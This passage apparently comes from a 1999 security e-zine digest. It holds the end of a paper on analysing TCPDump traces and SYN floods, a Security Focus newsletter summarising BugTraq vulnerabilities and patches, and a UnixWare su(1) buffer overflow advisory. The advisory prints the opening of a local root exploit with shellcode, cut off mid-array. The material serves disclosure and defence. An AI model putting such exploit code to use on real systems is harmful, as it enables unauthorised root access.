greenbelt.maryland.net.63615 > name2.server.net.53: S 34541014:34541014(0) ack 34541013 win 4128 (ttl 249, id 0) ... (seven similar packets deleted for clarity) 06:01:56.995151 greenbelt.maryland.net.63764 > name2.server.net.53: S 34541163:34541163(0) ack 34541162 win 4128 (ttl 249, id 0) Note I reconstructed steps one through six earlier based upon my contacts with vendors and my understanding of load balancing operation. It is my best interpretation of the network traces, and shows how one can try to rebuild a puzzle given one or two crucial pieces. [ Conclusion ] In this paper, we began with a warning to know and potentially mistrust your NIDS. We introduced TCPDump, used it to look at a simple exchange of data via ftp, and discussed SYN floods. Multiple variations of SYN flood traffic was shown, and the possible use of a "reset scan" was mentioned. We finished with two more-or-less solved cases. I hope this paper has encouraged you to take a closer look at your NIDS data, and share what you find. I look forward to hearing from you. [ Appendix: Trace Excerpt with Absolute Sequence Numbers Printed] Relative sequence numbers are usually used, since we are typically interested in the amount of data passed once the intitial sequence numbers are established. Plus, listing every full sequence number involves showing many distracting digits! Nevertheless, I found the following trace useful to understand whom is ACKing whom. It is a web exchange between a dialup client and a web server. 11:42:18.407029 dialup.modem.net.1052 > web.server.org.80: S 382137:382137(0) win 8192 (DF) 11:42:18.582348 web.server.org.80 > dialup.modem.net.1052: S 1616321351:1616321351(0) ack 382138 win 9112 (DF) 11:42:18.593124 dialup.modem.net.1052 > web.server.org.80: . ack 1616321352 win 8576 (DF) 11:42:18.659933 dialup.modem.net.1052 > web.server.org.80: . 382138:382674(536) ack 1616321352 win 8576 (DF) 11:42:18.664698 dialup.modem.net.1052 > web.server.org.80: P 382674:382684(10) ack 1616321352 win 8576 (DF) 11:42:18.884944 web.server.org.80 > dialup.modem.net.1052: . ack 382674 win 9112 (DF) 11:42:18.949336 web.server.org.80 > dialup.modem.net.1052: . ack 382684 win 9112 (DF) 11:42:19.106286 web.server.org.80 > dialup.modem.net.1052: P 1616321352:1616321766(414) ack 382684 win 9112 (DF) 11:42:19.232579 dialup.modem.net.1052 > web.server.org.80: . ack 1616321766 win 8162 (DF) 11:42:19.320803 web.server.org.80 > dialup.modem.net.1052: P 1616321766:1616321774(8) ack 382684 win 9112 (DF) 11:42:19.359277 web.server.org.80 > dialup.modem.net.1052: P 1616321774:1616321854(80) ack 382684 win 9112 (DF) 11:42:19.366198 dialup.modem.net.1052 > web.server.org.80: . ack 1616321854 win 8074 (DF) Notice one sequence number is used by each side before any data is passed. web.server.org ACKs 382138 (showing 382137 was "used"), and dialup.modem.net ACKs 1616321352 (showing 1616321351 was "used"). Knowing these ACK numbers, we know the first byte of data passed from dialup.modem.net will be 382138, and the first byte passed by web.server.net will be 1616321352. Sure enough, the fourth packet, 11:42:18.659933 dialup.modem.net.1052 > web.server.org.80: . 382138:382674(536) ack 1616321352 win 8576 (DF) and the eighth packet, 11:42:19.106286 web.server.org.80 > dialup.modem.net.1052: P 1616321352:1616321766(414) ack 382684 win 9112 (DF) confirm this understanding of sequence numbers. Check the format again to be sure: sequence number of first byte in packet:sequence number of first byte in NEXT packet (data) Armed with this knowledge, the relative sequence numbers should make sense as well. [ References ] Daemon9, aka Route. "Project Neptune." (Phrack 48, Article 13, 1996) Irwin, Vicki and Pomeranz, Hal. "Advanced Intrusion Detection and Packet Filtering." (SANS Network Security 99, 1999) Newsham, Tim, and Ptacek, Tom. "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection." (Secure Networks, Inc., 1998) Northcutt, Stephen. "Network Intrusion Detection: An Analysts Handbook." (Indianapolis, Indiana: New Riders, 1999) Postel, Jon (ed.). "RFC 793: Transmission Control Protocol." (Defense Advanced Research Projects Agency, 1981) Stevens, W. Richard. "TCP/IP Illustrated, Volume 1: The Protocols." (Reading, Massachusetts: Addison-Wesley, 1994) [ Acknowledgements ] I would like to thank the following people for reading and commenting upon this paper, or giving me guidance prior to writing: Chad Renfro, Bamm Visscher, Mark Shaw, Chuck Port, Cheryl Knecht, Sam Adams, John Green, Dustin Childs, Judy Novak, and all members of the Intrusion Detection Flight! @HWA 40.0 Security Focus Newsletter #16 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Security Focus Newsletter #16 Table of Contents: I. INTRODUCTION II. BUGTRAQ SUMMARY 1. FormHandler.cgi Reply Attachment Vulnerability 2. E-MailClub Buffer Overflow Vulnerability 3. W4 Server Cgitest.exe Buffer Overflow Vulnerability 4. WebBBS login & password Buffer Overflow Vulnerability 5. Lynx Internal URL "secure" Parameter/Internal Link Verification Vulnerability 6. Gene6 G6 FTP Server Buffer Overflow DoS Vulnerability 7. Tektronix PhaserLink Webserver Vulnerability 8. Microsoft Riched20.dll Buffer Overflow Vulnerability 9. Linux syslogd Denial of Service Vulnerability 10. Pine Environment Variable Expansion in URLS Vulnerability 11. Solaris rpc.ttdbserver Denial of Service Vulnerability 12. ProFTPD mod_sqlpw Vulnerability 13. ZetaMail Login DoS Vulnerability 14. HP JetDirect Internal Webserver Long URL DoS Vulnerability III. PATCH UPDATES 1. Vulnerability Patched: Multiple BIND Vulnerabilities (SCO) 2. Vulnerability Patched: Multiple BIND Vulnerabilities (Debian) 3. Vulnerability Patched: thttpd buffer overflow 4. Vulnerability Patched: Real Server Administrator Port Buffer Overflow IV. INCIDENTS SUMMARY 1. Re: Repeated FTP Connections (Thread) 2. Re: New network probe - tcp port 98 (Thread) 3. Class C UDP scans? (Thread) 4. firewall puzzle (Thread) 5. Print servers vulnerable to Trojans? (Thread) 6. Probes for port 930? (Thread) 7. UDP scans on port 31789 a.k.a "Hack'a'tack" (Thread) 8. [INFO] mail.jtausa.com [209.39.1.226] Telnet and FTP Attempts (Thread) 9. cracker probing 1542 (Thread) 10. cracker probing 1542 (Thread) 11. portmapper scaning [port 111] (Thread) 12. snmpwalk(?) port scanning [port 161] (Thread) V. VULN-DEV RESEARCH LIST SUMMARY 1. Re: INZIDER! (Thread) 2. potential chage ovf (Thread) 3. Re: [Fwd: Netscape mail client error] 4. Possible DoS attack against Microsoft SQL Server 7.0 (Thread) 5. Re: vlock bug ? (fwd) 6. Re: development of wordpad exploit (Thread) 7. icq accounts (Thread) 8. riched20.dll exploit (Thread) VI. SECURITY JOBS Seeking Staff: 1. Account Executive #293 - New York, NY 2. Software Security Consultant #581 - NYC 3. Regional Account Executive #293 - Palo Alto, CA 4. Security Management Applications Product Manager 339 VII. SECURITY SURVEY RESULTS VIII. SECURITY FOCUS TOP 6 TOOLS 1. SecurityFocus.com Pager (Win95/98/NT) 2. PingSting 1.0 (FreeBSD, Linux and OpenBSD) 3. cgi-check99 v0.4 (Multiple OS's - Run via Rebol) 4. Snoot 1.3.1 (FreeBSD, HP-UX, IRIX, Linux, MacOS, NetBSD, O penBSD and Solaris) 5. BUGS 2.0.1 (HP-UX, Linux, Solaris, SunOS, UNIX, Windows 2000, Windows 3.x) 6. NSS Narr0w Security Scanner (any system supporting perl) IX. SPONSOR INFORMATION - CORE SDI X. SUBSCRIBE/UNSUBSCRIBE INFORMATION I. INTRODUCTION ----------------- Welcome to the Security Focus 'week in review' newsletter issue 16 sponsored by CORE SDI. http://www.core-sdi.com II. BUGTRAQ SUMMARY 1999-11-15 to 1999-11-21 --------------------------------------------- 1. FormHandler.cgi Reply Attachment Vulnerability BugTraq ID: 799 Remote: Yes Date Published: 1999-11-16 Relevant URL: http://www.securityfocus.com/bid/799 Summary: Any file that the FormHandler.cgi has read access to (the cgi is typically run as user 'nobody' on Unix systems) can be specified as an attachment in a reply email. This could allow an attacker to gain access to sensitive files such as /etc/passwd simply by modifying the form document. 2. E-MailClub Buffer Overflow Vulnerability BugTraq ID: 801 Remote: Yes Date Published: 1999-11-15 Relevant URL: http://www.securityfocus.com/bid/801 Summary: Certain versions of EmailClub, a mail server package by Admiral Systems Inc. are vulnerable to a remote buffer overflow. This overflow is exploitable via EmailClub's POP3 server which fails to perform proper bounds checking on the 'From:' header on incoming e-mail. This overflow will lead to a complete compromise of the Windows 95/98 target machine. It may well also affect Windows NT installations in the same manner. It is unclear though if EmailClub run with ADMIN privileges under Windows NT installations. 3. W4 Server Cgitest.exe Buffer Overflow Vulnerability BugTraq ID: 802 Remote: Yes Date Published: 1999-11-15 Relevant URL: http://www.securityfocus.com/bid/802 Summary: Certain versions of the W4-Server 32-bits personal webserver by Antelope Software ship with a flawed script, Cgitest.exe. This compiled CGI script fails to perform bounds checking on user supplied data and is vulnerable to a buffer overflow. 4. WebBBS login & password Buffer Overflow Vulnerability BugTraq ID: 803 Remote: Yes Date Published: 1999-11-15 Relevant URL: http://www.securityfocus.com/bid/803 Summary: Certain versions of WebBBS by Mike Bryeans of International TeleCommunications contain a flaw in the initial login program. User supplied data via the login name and password are not bounds checked and can result in a buffer overflow. This leads a compromise of the system running WebBBS. 5. Lynx Internal URL "secure" Parameter/Internal Link Verification Vulnerability BugTraq ID: 804 Remote: Yes Date Published: 1999-11-17 Relevant URL: http://www.securityfocus.com/bid/804 Summary: Lynx generally classifies webpages as either internal or external. Internal webpages are those which are used for such things as configuration, handling downloaded files, etc. External are webpages that are normally visited from a web client and are on a webserver somewhere "external" from the client. To prevent authors of malicious webpages from compromising the internals of the client, the creators of lynx put a number of restrictions on what can manipulate the internal URLS. The first is a hidden form value passed to internally rendered pages, called "secure". Unfortunately, this value doesn't live up to its name, since it is based on time(). The next method is verifying whether the pages which contain internal URLS are allowed to or not. This is done by comparing the titles of the pages being verified to what they should be (if they were legal). The section of code which does this naive check is below: [...] (!strncmp(links[curdoc.link].lname, "LYNXDOWNLOAD:", 13) && strcmp((curdoc.title ? curdoc.title : ""), DOWNLOAD_OPTIONS_TITLE)) || (!strncmp(links[curdoc.link].lname, "LYNXHIST:", 9) && strcmp((curdoc.title ? curdoc.title : ""), HISTORY_PAGE_TITLE) && [...] If it is possible for an attacker (locally) to convince a user to enter a configuration page ('O') in lynx, the "secure" value can be obtained by calling utime() on the temporary file created in /tmp (which is where lynx creates temporary html pages). Once the "secure" value is obtained, a malicious page which is titled appropriately can pass configuration values as hidden form variables to LYNXOPTIONS://, which will take them gladly and modify the configuration options of the user (for example, setting editor to whatever the attacker wants) silently. There is a possibility that this can be exploited remotely, if the value of "secure" can be guessed. More vulnerabilities which are consequently exposed by this problem are exploitable buffer overflows in handling of some of the configuration options. Known to lack bounds checking are operations on the buffers which store (at least temporarily) the values for options: "user agent", "preferred language", and "preferred charset". 6. Gene6 G6 FTP Server Buffer Overflow DoS Vulnerability BugTraq ID: 805 Remote: Yes Date Published: 1999-11-17 Relevant URL: http://www.securityfocus.com/bid/805 Summary: The G6 FTP Server, by Gene6, is vulnerable to a buffer overflow attack. If 2000 characters are sent as the username or password, the software will use up all available memory and CPU time and bring the host to a halt. 7. Tektronix PhaserLink Webserver Vulnerability BugTraq ID: 806 Remote: Yes Date Published: 1999-11-17 Relevant URL: http://www.securityfocus.com/bid/806 Summary: Certain versions of the Tektronix PhaserLink printer ship with a webserver designed to help facilitate configuration of the device. This service is essentially administrator level access as it can completely modify the system characteristics, restart the machine, asign services etc. In at least one version of this printer there are a series of undocumented URL's which will allow remote users to retrieve the administrator password. Once the password is obtained by the user, they can manipulate the printer in any way they see fit. 8. Microsoft Riched20.dll Buffer Overflow Vulnerability BugTraq ID: 807 Remote: Yes Date Published: 1999-11-17 Relevant URL: http://www.securityfocus.com/bid/807 Summary: Riched20.dll, which Wordpad uses to parse Rich Text Forrmat files, has an unchecked buffer which allows arbitrary code to be executed. The code can be put into an .rtf file and emailed to the victim. Then if the victim opens the document in Wordpad, the code will be run at the same privilege level as the user. 9. Linux syslogd Denial of Service Vulnerability BugTraq ID: 809 Remote: No Date Published: 1999-11-19 Relevant URL: http://www.securityfocus.com/bid/809 Summary: Syslogd uses a unix domain stream socket (/dev/log) to recieve system log messages. Unix domain stream sockets require a connection to be made between client and server, meaning for each client served a separate process is created. It is possible to cause a denial of service by opening many local syslog connections in a short period of time. Unfortunately, more details are lacking on this vulnerability. 10. Pine Environment Variable Expansion in URLS Vulnerability BugTraq ID: 810 Remote: Yes Date Published: 1999-11-18 Relevant URL: http://www.securityfocus.com/bid/810 Summary: When pine handles email formatted with or containing HTML, urls which contain shell variables defined on the local machine where the client is running are expanded when followed. This can cause many security problems, ranging from sending expanded variables to webservers in the form of cgi parameters (and then logged to collect information about the target) to possibly executing arbitrary commands on the target host through malicious email. The following example was given by Jim Hebert in his post to BugTraq: echo 'setenv WWW www.securityfocus.com' >> .tcshrc source .tcshrc pine (view a link I mailed myself like: http://$WWW ) it works, I visit securityfocus. 11. Solaris rpc.ttdbserver Denial of Service Vulnerability BugTraq ID: 811 Remote: Yes Date Published: 1999-11-19 Relevant URL: http://www.securityfocus.com/bid/811 Summary: It is possible to crash rpc.ttdbserver by using an old tddbserver buffer overflow exploit. This problem is caused by a NULL pointer being dereferenced when rpc function 15 is called with garbage. You cannot make rpc.ttdbserver execute arbitrary code with this vulnerability. The consequence of this vulnerability being exploited is a denial of service condition (rpc.ttdbserver). 12. ProFTPD mod_sqlpw Vulnerability BugTraq ID: 812 Remote: No Date Published: 1999-11-19 Relevant URL: http://www.securityfocus.com/bid/812 Summary: Compiling the mod_sqlpw module into ProFTPD makes it possible for local users to view the passwords of users who have connected to the ftp server. When the module is used, it writes information to wtmp. Unfortunately, it writes the password to wtmp where the username should be. The passwords can be seen when a command such as 'last' is used locally. 13. ZetaMail Login DoS Vulnerability BugTraq ID: 813 Remote: Yes Date Published: 1999-11-18 Relevant URL: http://www.securityfocus.com/bid/813 Summary: The ZetaMail mail server will crash if a username/password pair longer than 3500 characters is supplied by the client. 14. HP JetDirect Internal Webserver Long URL DoS Vulnerability BugTraq ID: 814 Remote: Yes Date Published: 1999-11-18 Relevant URL: http://www.securityfocus.com/bid/814 Summary: The JetDirect J3111A module is used to connect many models of HP printers to a network. It includes a bult-in webserver for remote printer administration. This server is vulnerable due to an overflowable buffer in the code that handles incoming URLs. If a URL longer than 256 characters is requested the printer will crash. III. PATCH UPDATES 1999-11-15 to 1999-11-21 ------------------------------------------- 1. Vendor: SCO Product: UnixWare 2.1.3 & UnixWare 7.0.0 through 7.1.1 Patch Location: ftp://ftp.sco.COM/SSE/sse033.ltr (cover letter, ASCII text) ftp://ftp.sco.COM/SSE/sse033.tar.Z (new binaries, compressed tar file) Vulnerability Patched: Multiple BIND Vulnerabilities BugTraq ID: 788 Relevant URLS: http://www.securityfocus.com/bid/788 Note: SCO is providing an interim patch to address this issue in the form of a System Security Enhancement (SSE) package. 2. Vendor: Debian Product: Debian Linux Patch Location: Source archives: http://security.debian.org/dists/stable/updates/source/bind_8.2.2p5-0slink1.diff.gz MD5 checksum: 7e869545b7fab796e264f2ac3b726030 http://security.debian.org/dists/stable/updates/source/bind_8.2.2p5-0slink1.dsc MD5 checksum: 8dd6f2726596d6d37088309e7a42fa7c http://security.debian.org/dists/stable/updates/source/bind_8.2.2p5.orig.tar.gz MD5 checksum: e910c207e3a419b1fdba646c28ee3102 Alpha architecture: http://security.debian.org/dists/stable/updates/binary-alpha/bind_8.2.2p5-0slink1_alpha.deb MD5 checksum: e7eb3c2b03963338bafc3c13bdec776f http://security.debian.org/dists/stable/updates/binary-alpha/dnsutils_8.2.2p5-0slink1_alpha.deb MD5 checksum: e559e74e9b2ba8565974d5c21611a474 Intel ia32 architecture: http://security.debian.org/dists/stable/updates/binary-i386/bind_8.2.2p5-0slink1_i386.deb MD5 checksum: f25811f6d69034ea64c65382e6c9717d http://security.debian.org/dists/stable/updates/binary-i386/dnsutils_8.2.2p5-0slink1_i386.deb MD5 checksum: ce8a20f23ec3246cab484776652a18a4 Motorola 680x0 architecture: http://security.debian.org/dists/stable/updates/binary-m68k/bind_8.2.2p5-0slink1_m68k.deb MD5 checksum: f7e4c91d75bbd03325cfa666a3da35d7 http://security.debian.org/dists/stable/updates/binary-m68k/dnsutils_8.2.2p5-0slink1_m68k.deb MD5 checksum: 388f6dbae6ce8e897dfd636e4b3f15c6 Sun Sparc architecture: http://security.debian.org/dists/stable/updates/binary-sparc/bind_8.2.2p5-0slink1_sparc.deb MD5 checksum: adf299fcdc50c8db77b5b3f462633b0f http://security.debian.org/dists/stable/updates/binary-sparc/dnsutils_8.2.2p5-0slink1_sparc.deb MD5 checksum: 89d1729caf15d6b51e2e5f8b6fccf5c4 Vulnerability Patched: Multiple BIND Vulnerabilities BugTraq ID: 788 Relevant URLS: http://www.securityfocus.com/bid/788 Note: These files will be moved into: ftp://ftp.debian.org/debian/dists/stable/*/binary-$arch/ soon. This version of Debian was released only for Intel, the Motorola 680x0, the alpha and the Sun sparc architecture. 3. Vendor: SuSE Product: SuSE Linux Patch Location: ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/thttpd-2.04-31.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/thttpd-2.04-31.i386.rpm Vulnerability Patched: thttpd buffer overflow BugTraq ID: N/A Relevant URLS: http://www.suse.de/de/support/security/index.html Note: 4. Vendor: RealNetworks Product: Realserver G2 Patch Location: http://service.real.com/help/faq/servg260.html Vulnerability Patched: Real Server Administrator Port Buffer Overflow Vulnerability BugTraq ID: 767 Relevant URLS: http://www.securityfocus.com/bid/767 Note: 5. Vendor: SuSE Product: SuSE Linux Patch Location: ftp://ftp.suse.com/pub/suse/axp/update/6.1/a1/syslogd-1.3.33-9.alpha.rpm ftp://ftp.suse.com/pub/suse/i386/update/5.3/a1/syslogd-1.3.33-9.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.1/a1/syslogd-1.3.33-9.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/syslogd-1.3.33-9.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.3/a1/syslogd-1.3.33-9.i386.rpm Vulnerability Patched: Linux syslogd Denial of Service Vulnerability BugTraq ID: 809 Relevant URLS: http://www.securityfocus.com/bid/809 Note: INCIDENTS SUMMARY 1999-11-15 to 1999-11-21 ------------------------------------------ 1. Re: Repeated FTP Connections (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=Pine.LNX.4.05.9911162159470.10324-100000@bean.xtdnet.nl 2. Re: New network probe - tcp port 98 (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=Pine.GSO.3.96.991117082520.6605A-100000@rtfm.Stanford.EDU 3. Class C UDP scans? (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=199911171613.LAA03780@beanie.Biw.COM 4. firewall puzzle (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=991117173526GB.05935@weba7.iname.net 5. Print servers vulnerable to Trojans? (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=3834E01E.176BC700@pacbell.net 6. Probes for port 930? (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=19991119061411.29117.qmail@securityfocus.com 7. UDP scans on port 31789 a.k.a "Hack'a'tack" (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=199911192031.PAA03277@disney.Biw.COM 8. [INFO] mail.jtausa.com [209.39.1.226] Telnet and FTP Attempts (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=Pine.LNX.4.10.9911191022550.769-100000@idg.ceeri.ernet.in 9. cracker probing 1542 (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=Pine.LNX.4.10.9911210411380.18949-100000@server1.securityinsight.com 10. cracker probing 1542 (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=Pine.LNX.4.10.9911210411380.18949-100000@server1.securityinsight.com 11. portmapper scaning [port 111] (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=19991121080634.29004.qmail@securityfocus.com 12. snmpwalk(?) port scanning [port 161] (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-11-15&msg=19991121081603.29168.qmail@securityfocus.com V. VULN-DEV RESEARCH LIST SUMMARY 1999-11-15 to 1999-11-21 ---------------------------------------------------------- 1. Re: INZIDER! (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=19991117120017.14124.qmail@www61.linkexchange.com 2. potential chage ovf (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=Pine.LNX.4.10.9911171458490.1476-100000@pentium.localdomain 3. Re: [Fwd: Netscape mail client error] Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=Pine.LNX.4.10.9911171515330.506-100000@epr0.org 4. Possible DoS attack against Microsoft SQL Server 7.0 (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=002501bf3195$ea9fe9e0$4700a8c0@kevork 5. Re: vlock bug ? (fwd) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=19991118195743.C27411@willamette.edu 6. Re: development of wordpad exploit (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=19991119171210.247.rocketmail@web115.yahoomail.com 7. icq accounts (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=005801bf33ac$b8e57460$49a085d4@fleetwoodmac 8. riched20.dll exploit (Thread) Relevant URL: http://www.securityfocus.com/templates/archive.pike?list=82&date=1999-11-15&msg=19991121124346.21735.qmail@hotmail.com VI. SECURITY JOBS SUMMARY 1999-11-15 to 1999-11-21 --------------------------------------------------- 1. Account Executive #293 - New York, NY Reply to: Joyce Brocaglia Position Requirements: http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-11-15&msg=19991115190951.11457.qmail@securityfocus.com 2. Software Security Consultant #581 - NYC Reply to: Joyce Brocaglia Position Requirements: http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-11-15&msg=19991115193259.12366.qmail@securityfocus.com 3. Regional Account Executive #293 - Palo Alto, CA Reply to: Joyce Brocaglia Position Requirements: http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-11-15&msg=19991115193642.12494.qmail@securityfocus.com 4. Security Management Applications Product Manager 339 Reply to: Lori Sabat Position Requirements: http://www.securityfocus.com/templates/archive.pike?list=77&date=1999-11-15&msg=19991117210120.16184.qmail@securityfocus.com VII. SECURITY SURVEY 1999-11-15 to 1999-11-21 ---------------------------------------------- The question for 1999-11-15 to 1999-11-21 was: Which Security conference do you think is more useful to attendees? (Bang for your buck) SANS 31% / 18 votes BlackHat 19% / 11 votes TISC 5% / 3 votes CSI 5% / 3 vote Chaos Communications Congress 3% / 2 votes Defcon 26% / 15 votes Total number of votes: 57 VIII. SECURITY FOCUS TOP 6 TOOLS 1999-11-15 to 1999-11-21 -------------------------------------------------------- 1. SecurityFocus.com Pager by SecurityFocus.com URL: http://www.securityfocus.com/pager/sf_pgr20.zip Platforms: Win95/98/NT Number of downloads: 1747 This program allows the user to monitor additions to the Security Focus website without constantly maintaining an open browser. Sitting quietly in the background, it polls the website at a user-specified interval and alerts the user via a blinking icon in the system tray, a popup message or both (also user-configurable). 2. PingSting 1.0 by Anthony Osborne & David Goldsmith URL: http://www.securityfocus.com/data/tools/psting-1.0.tar.gz Platforms: FreeBSD, Linux and OpenBSD Number of downloads: 1506 Pingsting is a network monitoring application that determines characteristics about ICMP Echo traffic. Pingsting is able to determine the type of client that sent an ICMP Echo packet by comparing the data portion of an ICMP Echo packet with known signatures. 3. cgi-check99 v0.4 URL: by deepquest URL: http://www.deepquest.pf/ Platforms: BSDI, BeOS, DOS, FreeBSD, HP-UX, IRIX, Linux, MacOS, NetBSD, OS/2, OpenBSD, OpenVMS, PalmOS, Solaris, SunOS, UNIX, Windows 2000, Windows 3.x, Windows 95/98, Windows CE and Windows NT Number of downloads: 1435 One of the worlds most cross platform cgi scanners, running on 37 operating systems! Even Palmos soon! Will check for 119 of common cgi and other remote issues. Plus it will report you the Bugtraq ID of some vulnerabilities. Get the rebol interpreter at http://www.rebol.com. 4. Snoot 1.3.1 by Martin Roesch (roesch@clark.net) URL: http://www.clark.net/~roesch/security.html > Platforms: FreeBSD, HP-UX, IRIX, Linux, MacOS, NetBSD, OpenBSD and Solaris Number of downloads: 1129 Snort is a libpcap-based packet sniffer/logger which can be used as a lightweight network intrusion detection system. It features rules based logging and can perform content searching/matching in addition to being used to detect a variety of other attacks and probes, such as buffer overflows, stealth port scans, CGI attacks, SMB probes, and much more. Snort has a real-time alerting capabilty, with alerts being sent to syslog, a seperate "alert" file, or even to a Windows computer via Samba. 5. BUGS 2.0.1 by Sylvain Martinez URL: http://www.asi.fr/~martinez/crypto/bugs-2.0.1.tgz Platforms: HP-UX, Linux, Solaris, SunOS, UNIX, Windows 2000, Windows 3.x, Windows 95/98 and Windows NT Number of downloads: 923 Strong private key cryptography algorithm and applications. Multiplateform (UNIX and Windows). Crypt/hide/key generator. Unlimited key length, source code available. 6. NSS Narr0w Security Scanner by Narrow NaRr0w@LeGiOn2000.cC URL: http://www.wiretrip.net/rfp/1/index.asp Platforms: Perl (any system supporting perl) Number of downloads: 898 Narr0w Security Scanner checks for 153 remote vulnerabilities. Written in perl. IX. SPONSOR INFORMATION - ------------------------------------------ URL: http://www.core-sdi.com CORE SDI is an international computer security research and development company. Its clients include 3 of the Big 5 chartered accountant firms for whom CORE SDI develops customized security auditing tools as well as several notable computer security product vendors, such as Network Associates. CORE SDI also has extensive experience dealing with financial and government contracts through out Latin and North America. X. SUBSCRIBE/UNSUBSCRIBE INFORMATION ------------------------------------- 1. How do I subscribe? Send an e-mail message to LISTSERV@SECURITYFOCUS.COM with a message body of: SUBSCRIBE SF-NEWS Lastname, Firstname You will receive a confirmation request message to which you will have to anwser. 2. How do I unsubscribe? Send an e-mail message to LISTSERV@SECURITYFOCUS.COM from the subscribed address with a message body of: UNSUBSCRIBE SF-NEWS If your email address has changed email aleph1@securityfocus.com and I will manualy remove you. 3. How do I disable mail delivery temporarily? If you will are simply going in vacation you can turn off mail delivery without unsubscribing by sending LISTSERV the command: SET SF-NEWS NOMAIL To turn back on e-mail delivery use the command: SET SF-NEWS MAIL 4. Is the list available in a digest format? Yes. The digest generated once a day. 5. How do I subscribe to the digest? To subscribe to the digest join the list normally (see section 0.2.1) and then send a message to LISTSERV@SECURITYFOCUS.COM with with a message body of: SET SF-NEWS DIGEST 6. How do I unsubscribe from the digest? To turn the digest off send a message to LISTSERV with a message body of: SET SF-NEWS NODIGEST If you want to unsubscribe from the list completely follow the instructions of section 0.2.2 next. 7. I seem to not be able to unsubscribe. What is going on? You are probably subscribed from a different address than that from which you are sending commands to LISTSERV from. Either send email from the appropiate address or email the moderator to be unsubscribed manually. Alfred Huger VP of Engineering SecurityFocus.com @HWA 41.0 su(1) buffer overflow local exploit ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.security-focus.com/ bugtraq id 826 object su(1) (exec) class Boundary Condition Error cve GENERIC-MAP-NOMATCH remote No local Yes published November 25, 1999 updated November 28, 1999 vulnerable SCO Unixware 7.1.1 SCO Unixware 7.1 SCO Unixware 7.0.1 SCO Unixware 7.0 SCO Unixware 2.1 Certain versions of Unixware ship with a version of su(1) which is vulnerable to a buffer overflow attack. This attack is possible because su(1) fails to sanity check user supplied data, in this instance a username supplied on the command line. Because su(1) is SUID root this attack may result in root privileges. SCO is providing an interim patch to address this issue in the form of a System Security Enhancement (SSE) package. SSE039 contains replacement binaries for each system type, and is available for Internet download via anonymous ftp, and from the SCOFORUM on Compuserve. You can download the SSE package as follows: Anonymous ftp (World Wide Web URL): ftp://ftp.sco.COM/SSE/sse039.ltr (cover letter, ASCII text) ftp://ftp.sco.COM/SSE/sse039.tar.Z (new binaries, compressed tar file) Compuserve: GO SCOFORUM, and search Library 11 (SLS/SSE Files) for these filenames: SSE039.LTR (cover letter, ASCII text) SSE039.TAZ (new binaries, compressed tar file) Checksums (sum -r): 01787 3 sse039.ltr 53627 555 sse039.tar.Z To: BugTraq Subject:[w00giving '99 #5 and w00news]: UnixWare 7's su Date: Thu Nov 25 1999 22:16:41 Author: Matt Conover Message-ID: w00w00 Security Development (WSD) http://www.w00w00.org/advisories.html ---------------------------------------------------------------------------- Sorry, we've been really tied up these past 2-3 weeks and have been unable to write up the advisories. We'll send three SCO advisories tonight to make up for it. We should have some interesting ones within the next two weeks (it's really hard to find the time to write up the exploits and advisories). You'll noticed we jumped from #3 to #5. w00giving advisory #4 has been available on http://www.w00w00.org/advisories.html for 2-3 weeks, but it wasn't posted to this list. w00w00.org has had hits from 55 different countries as of yesterday. If you are going to send out advisories, please cc them to news@technotronic.com, also. You can subscribe to it by sending "subscribe news" to majordomo@technotronic.com. Technotronic is a good site and beginning now, you will always see our advisories/articles/code posted on there first (order of release: w00w00.org, news@technotronic.com, news groups, bugtraq). ---------------------------------------------------------------------------- Discovered by: K2 (ktwo@ktwo.ca) The su command on SCO's UnixWare 7 has improper bounds checking on the username passed (via argv[1]), which can cause a buffer overflow when a lengthy username is passed. ---------------------------------------------------------------------------- Exploit (by K2): // UnixWare7 /usr/bin/su local, K2, revisited Oct-30-1999 #include #include #include #include char shell[] = "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" 